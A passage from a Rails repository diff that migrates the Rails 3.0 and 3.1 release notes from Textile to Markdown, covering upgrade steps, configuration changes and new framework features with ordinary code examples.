<tt>readonly</tt> - returns an read only copy of the data. -* <tt>from</tt> - provides a way to select relationships from more than one table. -* <tt>scope</tt> - (previously +named_scope+) return relations and can be chained together with the other relation methods. -* <tt>with_scope</tt> - and +with_exclusive_scope+ now also return relations and so can be chained. -* <tt>default_scope</tt> - also works with relations. - -More Information: -* "Active Record Query Interface":http://m.onkey.org/2010/1/22/active-record-query-interface -* "Let your SQL Growl in Rails 3":http://hasmanyquestions.wordpress.com/2010/01/17/let-your-sql-growl-in-rails-3/ - - -h4. Enhancements - -* Added <tt>:destroyed?</tt> to Active Record objects. -* Added <tt>:inverse_of</tt> to Active Record associations allowing you to pull the instance of an already loaded association without hitting the database. - - -h4. Patches and Deprecations - -Additionally, many fixes in the Active Record branch: - -* SQLite 2 support has been dropped in favor of SQLite 3. -* MySQL support for column order. -* PostgreSQL adapter has had its +TIME ZONE+ support fixed so it no longer inserts incorrect values. -* Support multiple schemas in table names for PostgreSQL. -* PostgreSQL support for the XML data type column. -* +table_name+ is now cached. -* A large amount of work done on the Oracle adapter as well with many bug fixes. - -As well as the following deprecations: - -* +named_scope+ in an Active Record class is deprecated and has been renamed to just +scope+. -* In +scope+ methods, you should move to using the relation methods, instead of a <tt>:conditions => {}</tt> finder method, for example <tt>scope :since, lambda {|time| where("created_at > ?", time) }</tt>. -* <tt>save(false)</tt> is deprecated, in favor of <tt>save(:validate => false)</tt>. -* I18n error messages for ActiveRecord should be changed from :en.activerecord.errors.template to <tt>:en.errors.template</tt>. -* <tt>model.errors.on</tt> is deprecated in favor of <tt>model.errors[]</tt> -* validates_presence_of => validates... :presence => true -* <tt>ActiveRecord::Base.colorize_logging</tt> and <tt>config.active_record.colorize_logging</tt> are deprecated in favor of <tt>Rails::LogSubscriber.colorize_logging</tt> or <tt>config.colorize_logging</tt> - -NOTE: While an implementation of State Machine has been in Active Record edge for some months now, it has been removed from the Rails 3.0 release. - - -h3. Active Resource - -Active Resource was also extracted out to Active Model allowing you to use Active Resource objects with Action Pack seamlessly. - -* Added validations through Active Model. -* Added observing hooks. -* HTTP proxy support. -* Added support for digest authentication. -* Moved model naming into Active Model. -* Changed Active Resource attributes to a Hash with indifferent access. -* Added +first+, +last+ and +all+ aliases for equivalent find scopes. -* <tt>find_every</tt> now does not return a +ResourceNotFound+ error if nothing returned. -* Added <tt>save!</tt> which raises <tt>ResourceInvalid</tt> unless the object is <tt>valid?</tt>. -* <tt>update_attribute</tt> and <tt>update_attributes</tt> added to Active Resource models. -* Added <tt>exists?</tt>. -* Renamed <tt>SchemaDefinition</tt> to <tt>Schema</tt> and <tt>define_schema</tt> to <tt>schema</tt>. -* Use the <tt>format</tt> of Active Resources rather than the <tt>content-type</tt> of remote errors to load errors. -* Use <tt>instance_eval</tt> for schema block. -* Fix <tt>ActiveResource::ConnectionError#to_s</tt> when +@response+ does not respond to #code or #message, handles Ruby 1.9 compatibility. -* Add support for errors in JSON format. -* Ensure <tt>load</tt> works with numeric arrays. -* Recognizes a 410 response from remote resource as the resource has been deleted. -* Add ability to set SSL options on Active Resource connections. -* Setting connection timeout also affects +Net::HTTP+ <tt>open_timeout</tt>. - -Deprecations: - -* <tt>save(false)</tt> is deprecated, in favor of <tt>save(:validate => false)</tt>. -* Ruby 1.9.2: <tt>URI.parse</tt> and <tt>.decode</tt> are deprecated and are no longer used in the library. - - -h3. Active Support - -A large effort was made in Active Support to make it cherry pickable, that is, you no longer have to require the entire Active Support library to get pieces of it. This allows the various core components of Rails to run slimmer. - -These are the main changes in Active Support: - -* Large clean up of the library removing unused methods throughout. -* Active Support no longer provides vendored versions of "TZInfo":http://tzinfo.rubyforge.org/, "Memcache Client":http://deveiate.org/projects/RMemCache/ and "Builder":http://builder.rubyforge.org/, these are all included as dependencies and installed via the <tt>bundle install</tt> command. -* Safe buffers are implemented in <tt>ActiveSupport::SafeBuffer</tt>. -* Added <tt>Array.uniq_by</tt> and <tt>Array.uniq_by!</tt>. -* Removed <tt>Array#rand</tt> and backported <tt>Array#sample</tt> from Ruby 1.9. -* Fixed bug on +TimeZone.seconds_to_utc_offset+ returning wrong value. -* Added <tt>ActiveSupport::Notifications</tt> middleware. -* <tt>ActiveSupport.use_standard_json_time_format</tt> now defaults to true. -* <tt>ActiveSupport.escape_html_entities_in_json</tt> now defaults to false. -* <tt>Integer#multiple_of?</tt> accepts zero as an argument, returns false unless the receiver is zero. -* +string.chars+ has been renamed to +string.mb_chars+. -* +ActiveSupport::OrderedHash+ now can de-serialize through YAML. -* Added SAX-based parser for XmlMini, using LibXML and Nokogiri. -* Added <tt>Object#presence</tt> that returns the object if it's <tt>#present?</tt> otherwise returns +nil+. -* Added <tt>String#exclude?</tt> core extension that returns the inverse of <tt>#include?</tt>. -* Added <tt>to_i</tt> to +DateTime+ in +ActiveSupport+ so <tt>to_yaml</tt> works correctly on models with +DateTime+ attributes. -* Added <tt>Enumerable#exclude?</tt> to bring parity to <tt>Enumerable#include?</tt> and avoid if <tt>!x.include?</tt>. -* Switch to on-by-default XSS escaping for rails. -* Support deep-merging in +ActiveSupport::HashWithIndifferentAccess+. -* <tt>Enumerable#sum</tt> now works will all enumerables, even if they don't respond to <tt>:size</tt>. -* <tt>inspect</tt> on a zero length duration returns '0 seconds' instead of empty string. -* Add <tt>element</tt> and <tt>collection</tt> to <tt>ModelName</tt>. -* <tt>String#to_time</tt> and <tt>String#to_datetime</tt> handle fractional seconds. -* Added support to new callbacks for around filter object that respond to <tt>:before</tt> and <tt>:after</tt> used in before and after callbacks. -* The <tt>ActiveSupport::OrderedHash#to_a</tt> method returns an ordered set of arrays. Matches Ruby 1.9's <tt>Hash#to_a</tt>. -* <tt>MissingSourceFile</tt> exists as a constant but it is now just equals to <tt>LoadError</tt>. -* Added <tt>Class#class_attribute</tt>, to be able to declare a class-level attribute whose value is inheritable and overwritable by subclasses. -* Finally removed +DeprecatedCallbacks+ in <tt>ActiveRecord::Associations</tt>. -* +Object#metaclass+ is now +Kernel#singleton_class+ to match Ruby. - -The following methods have been removed because they are now available in Ruby 1.8.7 and 1.9. - -* <tt>Integer#even?</tt> and <tt>Integer#odd?</tt> -* <tt>String#each_char</tt> -* <tt>String#start_with?</tt> and <tt>String#end_with?</tt> (3rd person aliases still kept) -* <tt>String#bytesize</tt> -* <tt>Object#tap</tt> -* <tt>Symbol#to_proc</tt> -* <tt>Object#instance_variable_defined?</tt> -* <tt>Enumerable#none?</tt> - -The security patch for REXML remains in Active Support because early patch-levels of Ruby 1.8.7 still need it. Active Support knows whether it has to apply it or not. - -The following methods have been removed because they are no longer used in the framework: - -* +Kernel#daemonize+ -* <tt>Object#remove_subclasses_of</tt> <tt>Object#extend_with_included_modules_from</tt>, <tt>Object#extended_by</tt> -* <tt>Class#remove_class</tt> -* <tt>Regexp#number_of_captures</tt>, <tt>Regexp.unoptionalize</tt>, <tt>Regexp.optionalize</tt>, <tt>Regexp#number_of_captures</tt> - - -h3. Action Mailer - -Action Mailer has been given a new API with TMail being replaced out with the new "Mail":http://github.com/mikel/mail as the Email library. Action Mailer itself has been given an almost complete re-write with pretty much every line of code touched. The result is that Action Mailer now simply inherits from Abstract Controller and wraps the Mail gem in a Rails DSL. This reduces the amount of code and duplication of other libraries in Action Mailer considerably. - -* All mailers are now in <tt>app/mailers</tt> by default. -* Can now send email using new API with three methods: +attachments+, +headers+ and +mail+. -* ActionMailer now has native support for inline attachments using the <tt>attachments.inline</tt> method. -* Action Mailer emailing methods now return <tt>Mail::Message</tt> objects, which can then be sent the +deliver+ message to send itself. -* All delivery methods are now abstracted out to the Mail gem. -* The mail delivery method can accept a hash of all valid mail header fields with their value pair. -* The +mail+ delivery method acts in a similar way to Action Controller's +respond_to+, and you can explicitly or implicitly render templates. Action Mailer will turn the email into a multipart email as needed. -* You can pass a proc to the <tt>format.mime_type</tt> calls within the mail block and explicitly render specific types of text, or add layouts or different templates. The +render+ call inside the proc is from Abstract Controller and supports the same options. -* What were mailer unit tests have been moved to functional tests. -* Action Mailer now delegates all auto encoding of header fields and bodies to Mail Gem -* Action Mailer will auto encode email bodies and headers for you - -Deprecations: - -* <tt>:charset</tt>, <tt>:content_type</tt>, <tt>:mime_version</tt>, <tt>:implicit_parts_order</tt> are all deprecated in favor of <tt>ActionMailer.default :key => value</tt> style declarations. -* Mailer dynamic <tt>create_method_name</tt> and <tt>deliver_method_name</tt> are deprecated, just call <tt>method_name</tt> which now returns a <tt>Mail::Message</tt> object. -* <tt>ActionMailer.deliver(message)</tt> is deprecated, just call <tt>message.deliver</tt>. -* <tt>template_root</tt> is deprecated, pass options to a render call inside a proc from the <tt>format.mime_type</tt> method inside the <tt>mail</tt> generation block -* The +body+ method to define instance variables is deprecated (<tt>body {:ivar => value}</tt>), just declare instance variables in the method directly and they will be available in the view. -* Mailers being in <tt>app/models</tt> is deprecated, use <tt>app/mailers</tt> instead. - -More Information: -* "New Action Mailer API in Rails 3":http://lindsaar.net/2010/1/26/new-actionmailer-api-in-rails-3 -* "New Mail Gem for Ruby":http://lindsaar.net/2010/1/23/mail-gem-version-2-released - - -h3. Credits - -See the "full list of contributors to Rails":http://contributors.rubyonrails.org/ for the many people who spent many hours making Rails 3. Kudos to all of them. - -Rails 3.0 Release Notes were compiled by "Mikel Lindsaar":http://lindsaar.net. - diff --git a/guides/source/3_1_release_notes.md b/guides/source/3_1_release_notes.md new file mode 100644 index 0000000000..1d79ea5b5a --- /dev/null +++ b/guides/source/3_1_release_notes.md @@ -0,0 +1,552 @@ +Ruby on Rails 3.1 Release Notes +=============================== + +Highlights in Rails 3.1: + +* Streaming +* Reversible Migrations +* Assets Pipeline +* jQuery as the default JavaScript library + +This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the [list of commits](https://github.com/rails/rails/commits/master) in the main Rails repository on GitHub. + +-------------------------------------------------------------------------------- + +Upgrading to Rails 3.1 +---------------------- + +If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: + +### Rails 3.1 requires at least Ruby 1.8.7 + +Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. + +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. + +### What to update in your apps + +The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails. + +#### Gemfile + +Make the following changes to your `Gemfile`. + +```ruby +gem 'rails', '= 3.1.3' +gem 'mysql2' + +# Needed for the new asset pipeline +group :assets do + gem 'sass-rails', "~> 3.1.5" + gem 'coffee-rails', "~> 3.1.1" + gem 'uglifier', ">= 1.0.3" +end + +# jQuery is the default JavaScript library in Rails 3.1 +gem 'jquery-rails' +``` + +#### config/application.rb + +* The asset pipeline requires the following additions: + + ```ruby + config.assets.enabled = true + config.assets.version = '1.0' + ``` + +* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts: + + ```ruby + # Defaults to '/assets' + config.assets.prefix = '/asset-files' + ``` + +#### config/environments/development.rb + +* Remove the RJS setting `config.action_view.debug_rjs = true`. + +* Add the following, if you enable the asset pipeline. + + ```ruby + # Do not compress assets + config.assets.compress = false + + # Expands the lines which load the assets + config.assets.debug = true + ``` + +#### config/environments/production.rb + +* Again, most of the changes below are for the asset pipeline. You can read more about these in the [Asset Pipeline](asset_pipeline.html) guide. + + ```ruby + # Compress JavaScripts and CSS + config.assets.compress = true + + # Don't fallback to assets pipeline if a precompiled asset is missed + config.assets.compile = false + + # Generate digests for assets URLs + config.assets.digest = true + + # Defaults to Rails.root.join("public/assets") + # config.assets.manifest = YOUR_PATH + + # Precompile additional assets (application.js, application.css, and all non-JS/CSS are already added) + # config.assets.precompile `= %w( search.js ) + + + # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies. + # config.force_ssl = true + ``` + +#### config/environments/test.rb + +```ruby +# Configure static asset server for tests with Cache-Control for performance +config.serve_static_assets = true +config.static_cache_control = "public, max-age=3600" +``` + +#### config/initializers/wrap_parameters.rb + +* Add this file with the following contents, if you wish to wrap parameters into a nested hash. This is on by default in new applications. + + ```ruby + # Be sure to restart your server when you modify this file. + # This file contains settings for ActionController::ParamsWrapper which + # is enabled by default. + + # Enable parameter wrapping for JSON. You can disable this by setting :format to an empty array. + ActiveSupport.on_load(:action_controller) do + wrap_parameters :format => [:json] + end + + # Disable root element in JSON by default. + ActiveSupport.on_load(:active_record) do + self.include_root_in_json = false + end + ``` + +Creating a Rails 3.1 application +-------------------------------- + +```bash +# You should have the 'rails' rubygem installed +$ rails new myapp +$ cd myapp +``` + +### Vendoring Gems + +Rails now uses a `Gemfile` in the application root to determine the gems you require for your application to start. This `Gemfile` is processed by the [Bundler](https://github.com/carlhuda/bundler) gem, which then installs all your dependencies. It can even install all the dependencies locally to your application so that it doesn't depend on the system gems. + +More information: - [bundler homepage](http://gembundler.com) + +### Living on the Edge + +`Bundler` and `Gemfile` makes freezing your Rails application easy as pie with the new dedicated `bundle` command. If you want to bundle straight from the Git repository, you can pass the `--edge` flag: + +```bash +$ rails new myapp --edge +``` + +If you have a local checkout of the Rails repository and want to generate an application using that, you can pass the `--dev` flag: + +```bash +$ ruby /path/to/rails/railties/bin/rails new myapp --dev +``` + +Rails Architectural Changes +--------------------------- + +### Assets Pipeline + +The major change in Rails 3.1 is the Assets Pipeline. It makes CSS and JavaScript first-class code citizens and enables proper organization, including use in plugins and engines. + +The assets pipeline is powered by [Sprockets](https://github.com/sstephenson/sprockets) and is covered in the [Asset Pipeline](asset_pipeline.html) guide. + +### HTTP Streaming + +HTTP Streaming is another change that is new in Rails 3.1. This lets the browser download your stylesheets and JavaScript files while the server is still generating the response. This requires Ruby 1.9.2, is opt-in and requires support from the web server as well, but the popular combo of nginx and unicorn is ready to take advantage of it. + +### Default JS library is now jQuery + +jQuery is the default JavaScript library that ships with Rails 3.1. But if you use Prototype, it's simple to switch. + +```bash +$ rails new myapp -j prototype +``` + +### Identity Map + +Active Record has an Identity Map in Rails 3.1. An identity map keeps previously instantiated records and returns the object associated with the record if accessed again. The identity map is created on a per-request basis and is flushed at request completion. + +Rails 3.1 comes with the identity map turned off by default. + +Railties +-------- + +* jQuery is the new default JavaScript library. + +* jQuery and Prototype are no longer vendored and is provided from now on by the jquery-rails and prototype-rails gems. + +* The application generator accepts an option `-j` which can be an arbitrary string. If passed "foo", the gem "foo-rails" is added to the `Gemfile`, and the application JavaScript manifest requires "foo" and "foo_ujs". Currently only "prototype-rails" and "jquery-rails" exist and provide those files via the asset pipeline. + +* Generating an application or a plugin runs `bundle install` unless `--skip-gemfile` or `--skip-bundle` is specified. + +* The controller and resource generators will now automatically produce asset stubs (this can be turned off with `--skip-assets`). These stubs will use CoffeeScript and Sass, if those libraries are available. + +* Scaffold and app generators use the Ruby 1.9 style hash when running on Ruby 1.9. To generate old style hash, `--old-style-hash` can be passed. + +* Scaffold controller generator creates format block for JSON instead of XML. + +* Active Record logging is directed to STDOUT and shown inline in the console. + +* Added `config.force_ssl` configuration which loads `Rack::SSL` middleware and force all requests to be under HTTPS protocol. + +* Added `rails plugin new` command which generates a Rails plugin with gemspec, tests and a dummy application for testing. + +* Added `Rack::Etag` and `Rack::ConditionalGet` to the default middleware stack. + +* Added `Rack::Cache` to the default middleware stack. + +* Engines received a major update - You can mount them at any path, enable assets, run generators etc. + +Action Pack +----------- + +### Action Controller + +* A warning is given out if the CSRF token authenticity cannot be verified. + +* Specify `force_ssl` in a controller to force the browser to transfer data via HTTPS protocol on that particular controller. To limit to specific actions, `:only` or `:except` can be used. + +* Sensitive query string parameters specified in `config.filter_parameters` will now be filtered out from the request paths in the log. + +* URL parameters which return `nil` for `to_param` are now removed from the query string. + +* Added `ActionController::ParamsWrapper` to wrap parameters into a nested hash, and will be turned on for JSON request in new applications by default. This can be customized in `config/initializers/wrap_parameters.rb`. + +* Added `config.action_controller.include_all_helpers`. By default `helper :all` is done in `ActionController::Base`, which includes all the helpers by default. Setting `include_all_helpers` to `false` will result in including only application_helper and the helper corresponding to controller (like foo_helper for foo_controller). + +* `url_for` and named url helpers now accept `:subdomain` and `:domain` as options. + +* Added `Base.http_basic_authenticate_with` to do simple http basic authentication with a single class method call. + + ```ruby + class PostsController < ApplicationController + USER_NAME, PASSWORD = "dhh", "secret" + + before_filter :authenticate, :except => [ :index ] + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + + private + def authenticate + authenticate_or_request_with_http_basic do |user_name, password| + user_name == USER_NAME && password == PASSWORD + end + end + end + ``` + + ..can now be written as + + ```ruby + class PostsController < ApplicationController + http_basic_authenticate_with :name => "dhh", :password => "secret", :except => :index + + def index + render :text => "Everyone can see me!" + end + + def edit + render :text => "I'm only accessible if you know the password" + end + end + ``` + +* Added streaming support, you can enable it with: + + ```ruby + class PostsController < ActionController::Base + stream + end + ``` + + You can restrict it to some actions by using `:only` or `:except`. Please read the docs at [`ActionController::Streaming`](http://api.rubyonrails.org/classes/ActionController/Streaming.html) for more information. + +* The redirect route method now also accepts a hash of options which will only change the parts of the url in question, or an object which responds to call, allowing for redirects to be reused. + +### Action Dispatch + +* `config.action_dispatch.x_sendfile_header` now defaults to `nil` and `config/environments/production.rb` doesn't set any particular value for it. This allows servers to set it through `X-Sendfile-Type`. + +* `ActionDispatch::MiddlewareStack` now uses composition over inheritance and is no longer an array. + +* Added `ActionDispatch::Request.ignore_accept_header` to ignore accept headers. + +* Added `Rack::Cache` to the default stack. + +* Moved etag responsibility from `ActionDispatch::Response` to the middleware stack. + +* Rely on `Rack::Session` stores API for more compatibility across the Ruby world. This is backwards incompatible since `Rack::Session` expects `#get_session` to accept four arguments and requires `#destroy_session` instead of simply `#destroy`. + +* Template lookup now searches further up in the inheritance chain. + +### Action View + +* Added an `:authenticity_token` option to `form_tag` for custom handling or to omit the token by passing `:authenticity_token => false`. + +* Created `ActionView::Renderer` and specified an API for `ActionView::Context`. + +* In place `SafeBuffer` mutation is prohibited in Rails 3.1. + +* Added HTML5 `button_tag` helper. + +* `file_field` automatically adds `:multipart => true` to the enclosing form. + +* Added a convenience idiom to generate HTML5 data-* attributes in tag helpers from a `:data` hash of options: + + ```ruby + tag("div", :data => {:name => 'Stephen', :city_state => %w(Chicago IL)}) + # => <div data-name="Stephen" data-city-state="["Chicago","IL"]" /> + ``` + +Keys are dasherized. Values are JSON-encoded, except for strings and symbols. + +* `csrf_meta_tag` is renamed to `csrf_meta_tags` and aliases `csrf_meta_tag` for backwards compatibility. + +* The old template handler API is deprecated and the new API simply requires a template handler to respond to call. + +* rhtml and rxml are finally removed as template handlers. + +* `config.action_view.cache_template_loading` is brought back which allows to decide whether templates should be cached or not. + +* The submit form helper does not generate an id "object_name_id" anymore. + +* Allows `FormHelper#form_for` to specify the `:method` as a direct option instead of through the `:html` hash. `form_for(@post, remote: true, method: :delete)` instead of `form_for(@post, remote: true, html: { method: :delete })`. + +* Provided `JavaScriptHelper#j()` as an alias for `JavaScriptHelper#escape_javascript()`. This supersedes the `Object#j()` method that the JSON gem adds within templates using the JavaScriptHelper. + +* Allows AM/PM format in datetime selectors. + +* `auto_link` has been removed from Rails and extracted into the [rails_autolink gem](https://github.com/tenderlove/rails_autolink) + +Active Record +------------- + +* Added a class method `pluralize_table_names` to singularize/pluralize table names of individual models. Previously this could only be set globally for all models through `ActiveRecord::Base.pluralize_table_names`. + + ```ruby + class User < ActiveRecord::Base + self.pluralize_table_names = false + end + ``` + +* Added block setting of attributes to singular associations. The block will get called after the instance is initialized. + + ```ruby + class User < ActiveRecord::Base + has_one :account + end + + user.build_account{ |a| a.credit_limit = 100.0 } + ``` + +* Added `ActiveRecord::Base.attribute_names` to return a list of attribute names. This will return an empty array if the model is abstract or the table does not exist. + +* CSV Fixtures are deprecated and support will be removed in Rails 3.2.0. + +* `ActiveRecord#new`, `ActiveRecord#create` and `ActiveRecord#update_attributes` all accept a second hash as an option that allows you to specify which role to consider when assigning attributes. This is built on top of Active Model's new mass assignment capabilities: + + ```ruby + class Post < ActiveRecord::Base + attr_accessible :title + attr_accessible :title, :published_at, :as => :admin + end + + Post.new(params[:post], :as => :admin) + ``` + +* `default_scope` can now take a block, lambda, or any other object which responds to call for lazy evaluation. + +* Default scopes are now evaluated at the latest possible moment, to avoid problems where scopes would be created which would implicitly contain the default scope, which would then be impossible to get rid of via Model.unscoped. + +* PostgreSQL adapter only supports PostgreSQL version 8.2 and higher. + +* `ConnectionManagement` middleware is changed to clean up the connection pool after the rack body has been flushed. + +* Added an `update_column` method on Active Record. This new method updates a given attribute on an object, skipping validations and callbacks. It is recommended to use `update_attributes` or `update_attribute` unless you are sure you do not want to execute any callback, including the modification of the `updated_at` column. It should not be called on new records. + +* Associations with a `:through` option can now use any association as the through or source association, including other associations which have a `:through` option and `has_and_belongs_to_many` associations. + +* The configuration for the current database connection is now accessible via `ActiveRecord::Base.connection_config`. + +* limits and offsets are removed from COUNT queries unless both are supplied. + + ```ruby + People.limit(1).count # => 'SELECT COUNT(*) FROM people' + People.offset(1).count # => 'SELECT COUNT(*) FROM people' + People.limit(1).offset(1).count # => 'SELECT COUNT(*) FROM people LIMIT 1 OFFSET 1' + ``` + +* `ActiveRecord::Associations::AssociationProxy` has been split. There is now an `Association` class (and subclasses) which are responsible for operating on associations, and then a separate, thin wrapper called `CollectionProxy`, which proxies collection associations. This prevents namespace pollution, separates concerns, and will allow further refactorings. + +* Singular associations (`has_one`, `belongs_to`) no longer have a proxy and simply returns the associated record or `nil`. This means that you should not use undocumented methods such as `bob.mother.create` - use `bob.create_mother` instead. + +* Support the `:dependent` option on `has_many :through` associations. For historical and practical reasons, `:delete_all` is the default deletion strategy employed by `association.delete(*records)`, despite the fact that the default strategy is `:nullify` for regular has_many. Also, this only works at all if the source reflection is a belongs_to. For other situations, you should directly modify the through association. + +* The behavior of `association.destroy` for `has_and_belongs_to_many` and `has_many :through` is changed. From now on, 'destroy' or 'delete' on an association will be taken to mean 'get rid of the link', not (necessarily) 'get rid of the associated records'. + +* Previously, `has_and_belongs_to_many.destroy(*records)` would destroy the records themselves. It would not delete any records in the join table. Now, it deletes the records in the join table. + +* Previously, `has_many_through.destroy(*records)` would destroy the records themselves, and the records in the join table. [Note: This has not always been the case; previous version of Rails only deleted the records themselves.] Now, it destroys only the records in the join table. + +* Note that this change is backwards-incompatible to an extent, but there is unfortunately no way to 'deprecate' it before changing it. The change is being made in order to have consistency as to the meaning of 'destroy' or 'delete' across the different types of associations. If you wish to destroy the records themselves, you can do `records.association.each(&:destroy)`. + +* Add `:bulk => true` option to `change_table` to make all the schema changes defined in a block using a single ALTER statement. + + ```ruby + change_table(:users, :bulk => true) do |t| + t.string :company_name + t.change :birthdate, :datetime + end + ``` + +* Removed support for accessing attributes on a `has_and_belongs_to_many` join table. `has_many :through` needs to be used. + +* Added a `create_association!` method for `has_one` and `belongs_to` associations. + +* Migrations are now reversible, meaning that Rails will figure out how to reverse your migrations. To use reversible migrations, just define the `change` method. + + ```ruby + class MyMigration < ActiveRecord::Migration + def change + create_table(:horses) do |t| + t.column :content, :text + t.column :remind_at, :datetime + end + end + end + ``` + +* Some things cannot be automatically reversed for you. If you know how to reverse those things, you should define `up` and `down` in your migration. If you define something in change that cannot be reversed, an `IrreversibleMigration` exception will be raised when going down. + +* Migrations now use instance methods rather than class methods: + + ```ruby + class FooMigration < ActiveRecord::Migration + def up # Not self.up + ... + end + end + ``` + +* Migration files generated from model and constructive migration generators (for example, add_name_to_users) use the reversible migration's `change` method instead of the ordinary `up` and `down` methods. + +* Removed support for interpolating string SQL conditions on associations. Instead, a proc should be used. + + ```ruby + has_many :things, :conditions => 'foo = #{bar}' # before + has_many :things, :conditions => proc { "foo = #{bar}" } # after + ``` + + Inside the proc, `self` is the object which is the owner of the association, unless you are eager loading the association, in which case `self` is the class which the association is within. + + You can have any "normal" conditions inside the proc, so the following will work too: + + ```ruby + has_many :things, :conditions => proc { ["foo = ?", bar] } + ``` + +* Previously `:insert_sql` and `:delete_sql` on `has_and_belongs_to_many` association allowed you to call 'record' to get the record being inserted or deleted. This is now passed as an argument to the proc. + +* Added `ActiveRecord::Base#has_secure_password` (via `ActiveModel::SecurePassword`) to encapsulate dead-simple password usage with BCrypt encryption and salting. + + ```ruby + # Schema: User(name:string, password_digest:string, password_salt:string) + class User < ActiveRecord::Base + has_secure_password + end + ``` + +* When a model is generated `add_index` is added by default for `belongs_to` or `references` columns. + +* Setting the id of a `belongs_to` object will update the reference to the object. + +* `ActiveRecord::Base#dup` and `ActiveRecord::Base#clone` semantics have changed to closer match normal Ruby dup and clone semantics. + +* Calling `ActiveRecord::Base#clone` will result in a shallow copy of the record, including copying the frozen state. No callbacks will be called. + +* Calling `ActiveRecord::Base#dup` will duplicate the record, including calling after initialize hooks. Frozen state will not be copied, and all associations will be cleared. A duped record will return `true` for `new_record?`, have a `nil` id field, and is saveable. + +* The query cache now works with prepared statements. No changes in the applications are required. + +Active Model +------------ + +* `attr_accessible` accepts an option `:as` to specify a role. + +* `InclusionValidator`, `ExclusionValidator`, and `FormatValidator` now accepts an option which can be a proc, a lambda, or anything that respond to `call`. This option will be called with the current record as an argument and returns an object which respond to `include?` for `InclusionValidator` and `ExclusionValidator`, and returns a regular expression object for `FormatValidator`. + +* Added `ActiveModel::SecurePassword` to encapsulate dead-simple password usage with BCrypt encryption and salting. + +* `ActiveModel::AttributeMethods` allows attributes to be defined on demand. + +* Added support for selectively enabling and disabling observers. + +* Alternate `I18n` namespace lookup is no longer supported. + +Active Resource +--------------- + +* The default format has been changed to JSON for all requests. If you want to continue to use XML you will need to set `self.format = :xml` in the class. For example, + + ```ruby + class User < ActiveResource::Base + self.format = :xml + end + ``` + +Active Support +-------------- + +* `ActiveSupport::Dependencies` now raises `NameError` if it finds an existing constant in `load_missing_constant`. + +* Added a new reporting method `Kernel#quietly` which silences both `STDOUT` and `STDERR`. + +* Added `String#inquiry` as a convenience method for turning a String into a `StringInquirer` object. + +* Added `Object#in?` to test if an object is included in another object. + +* `LocalCache` strategy is now a real middleware class and no longer an anonymous class. + +* `ActiveSupport::Dependencies::ClassCache` class has been introduced for holding references to reloadable classes. + +* `ActiveSupport::Dependencies::Reference` has been refactored to take direct advantage of the new `ClassCache`. + +* Backports `Range#cover?` as an alias for `Range#include?` in Ruby 1.8. + +* Added `weeks_ago` and `prev_week` to Date/DateTime/Time. + +* Added `before_remove_const` callback to `ActiveSupport::Dependencies.remove_unloadable_constants!`. + +Deprecations: + +* `ActiveSupport::SecureRandom` is deprecated in favor of `SecureRandom` from the Ruby standard library. + +Credits +------- + +See the [full list of contributors to Rails](http://contributors.rubyonrails.org/) for the many people who spent many hours making Rails, the stable and robust framework it is. Kudos to all of them. + +Rails 3.1 Release Notes were compiled by [Vijay Dev](https://github.com/vijaydev.) diff --git a/guides/source/3_1_release_notes.textile b/guides/source/3_1_release_notes.textile deleted file mode 100644 index f88d8624ba..0000000000 --- a/guides/source/3_1_release_notes.textile +++ /dev/null @@ -1,538 +0,0 @@ -h2. Ruby on Rails 3.1 Release Notes - -Highlights in Rails 3.1: - -* Streaming -* Reversible Migrations -* Assets Pipeline -* jQuery as the default JavaScript library - -This release notes cover the major changes, but don't include every little bug fix and change. If you want to see everything, check out the "list of commits":https://github.com/rails/rails/commits/master in the main Rails repository on GitHub. - -endprologue. - -h3. Upgrading to Rails 3.1 - -If you're upgrading an existing application, it's a great idea to have good test coverage before going in. You should also first upgrade to Rails 3 in case you haven't and make sure your application still runs as expected before attempting to update to Rails 3.1. Then take heed of the following changes: - -h4. Rails 3.1 requires at least Ruby 1.8.7 - -Rails 3.1 requires Ruby 1.8.7 or higher. Support for all of the previous Ruby versions has been dropped officially and you should upgrade as early as possible. Rails 3.1 is also compatible with Ruby 1.9.2. - -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults, so if you want to use 1.9.x jump on 1.9.2 for smooth sailing. - -h4. What to update in your apps - -The following changes are meant for upgrading your application to Rails 3.1.3, the latest 3.1.x version of Rails. - -h5. Gemfile - -Make the following changes to your +Gemfile+. - -<ruby> -gem 'rails', '= 3.1.3' -gem 'mysql2' - -# Needed for the new asset pipeline -group :assets do - gem 'sass-rails', "~> 3.1.5" - gem 'coffee-rails', "~> 3.1.1" - gem 'uglifier', ">= 1.0.3" -end - -# jQuery is the default JavaScript library in Rails 3.1 -gem 'jquery-rails' -</ruby> - -h5. config/application.rb - -* The asset pipeline requires the following additions: - -<ruby> -config.assets.enabled = true -config.assets.version = '1.0' -</ruby> - -* If your application is using the "/assets" route for a resource you may want change the prefix used for assets to avoid conflicts: - -<ruby> -# Defaults to '/assets' -config.assets.prefix = '/asset-files' -</ruby> - -h5. config/environments/development.rb - -* Remove the RJS setting <tt>config.action_view.debug_rjs = true</tt>. - -* Add the following, if you enable the asset pipeline. - -<ruby> -# Do not compress assets -config.assets.compress = false - -# Expands the lines which load the assets -config.assets.debug = true -</ruby> - -h5. config/environments/production.rb - -* Again, most of the changes below are for the asset pipeline. You can read more about these in the "Asset Pipeline":asset_pipeline.html guide. - -<ruby> -# Compress JavaScripts and CSS -config.assets.compress = true - -# Don't fallback to assets pipeline if a precompiled asset is missed -config.assets.compile = false - -# Generate digests for assets URLs -config.assets.digest = true - -# 